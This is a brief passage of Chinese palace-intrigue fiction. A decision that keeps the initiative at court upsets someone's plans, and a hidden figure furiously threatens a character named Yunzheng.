“行吧。” 既然无法出宫,那就将主动权控制在自己手里。 消息一出,宫廷上下震动,也打乱了有些人的安排。 深宫某处,有人抓狂了,“啊啊啊,可恶,居然敢破坏我的计划,都**吧。” “云筝,又是你!你死定了!”